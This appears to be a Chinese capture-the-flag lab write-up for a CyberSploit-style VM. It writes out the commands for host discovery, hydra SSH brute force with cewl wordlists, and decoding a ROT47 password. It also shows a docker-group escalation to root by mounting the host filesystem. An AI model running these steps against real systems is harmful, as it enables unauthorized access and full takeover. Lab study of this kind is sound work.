1.渗透环境及工具
系统环境:kali,CentOS linux
工具: netdiscover,nmap,dirb,nitko,hydra,docker,cewl
2.2.1 确定IP
使用工具扫描主机的 IP 以及开放的端口
命令:netdiscover -i eth0 -r 192.168.150.0/24 或者 arp-scan -l
发现目标机IP
2.2.2 信息收集
获取IP后,获取端口:nmap -sS -Pn-A -p- 192.168.150.148
发现开放了22和80端口
使用工具扫描网站目录:dirb http://192.168.150.148
发现目录,访问:192.168.150.148/noindex/
访问: 192.168.150.148/noindex/common/
发现没有有价值的信息。
2.2.3 漏洞扫描
对于22端口,使用searchsploit搜索OpenSSH
OpenSSH 8.0 没有发现漏洞
对于80端口,访问网站: http://192.168.150.148:80
发现一些用户名和密码,做成字典进行破解,没有成功。
使用hydra破解ssh:hydra -L user1.txt -P pass1.txt ssh://192.168.150.148
没有成功。
使用cewl生成网站字典:cewl http://192.168.220.148 > user2.txt
再使用hydra破解ssh:hydra -Luser2.txt -P user2.txt ssh://192.168.150.148
还是没有成功。
再观察网页内的账户密码,发现第四个不正常,猜测可能是加密后的,尝试对其进行解密。
查看源代码:
发现源代码末尾有ROT47的字样,百度查询看看
发现是位移加密,说明刚才对第四个账户的猜测是正确的,是进行加密后的,我们对该账户密码进行解密:
解密后账户密码:shailendra cybersploit1
尝试使用开放的ssh服务进行连接:ssh [email protected]
登录成功.
使用id查看用户信息,sudo -l查看权限信信息
发现没有权限执行sudo,需要提权。
对网站进行漏洞扫描
命令:nikto -host 192.168.150.148
没有发现漏洞。
2.2.4 漏洞利用
没有其他漏洞
2.2.5 提权
利用SUID进行提权:find / -user root -perm -4000 -print 2>/dev/null
没有发现可以利用的点。
查看文件:ls
发现hint.txt文件,查看该文件,内容是:docker
猜测是使用docker提权,查看用户信息:id
发现当前用户在docker组,可以运行docker,再查看本地已经安装的镜像:dockerimages
下载docker镜像并启动容器:docker run -v /:/root -i -t ubuntu /bin/bash
-v绑定容器中的root目录
-i -t指定启动的镜像名称Ubuntu
/bin/bash 启动一个shell,并绑定容器中的root目录
启动后查看当前目录就是服务器的根目录
进入shell,切换到本机root目录,此时就是服务器的根目录,然后再切换root目录,就是服务器的root目录
3.总结
1、信息收集时,ROT47加密方法
ROT5:只对数字进行编码。用当前数字往后数的第五个数字替换当前数字;
如:123ab—>678ab
ROT13:只对字母进行编码,用当前字母往后数的第13个字母替换当前字母;
如:123ab—>123no
ROT18:将RPT5和ROT13组合在一起的;
如:123ab—>678no
ROT47:对数字,字母,常用符号进行编码,按照它们的ASCLL值进行位置替换,用当前字符的ASCLL值往后数的第47位字符替换当前字符;
用于ROT47编码的字符其ASCLL值范围是33~126
如:A(65)—>p(112)
2、提权时,用到了docker提权
docker run -v /:/root -i -t ubuntu /bin/bash
-v绑定容器中的root目录
-i -t指定启动的镜像名称Ubuntu
/bin/bash 启动一个shell,并绑定容器中的root目录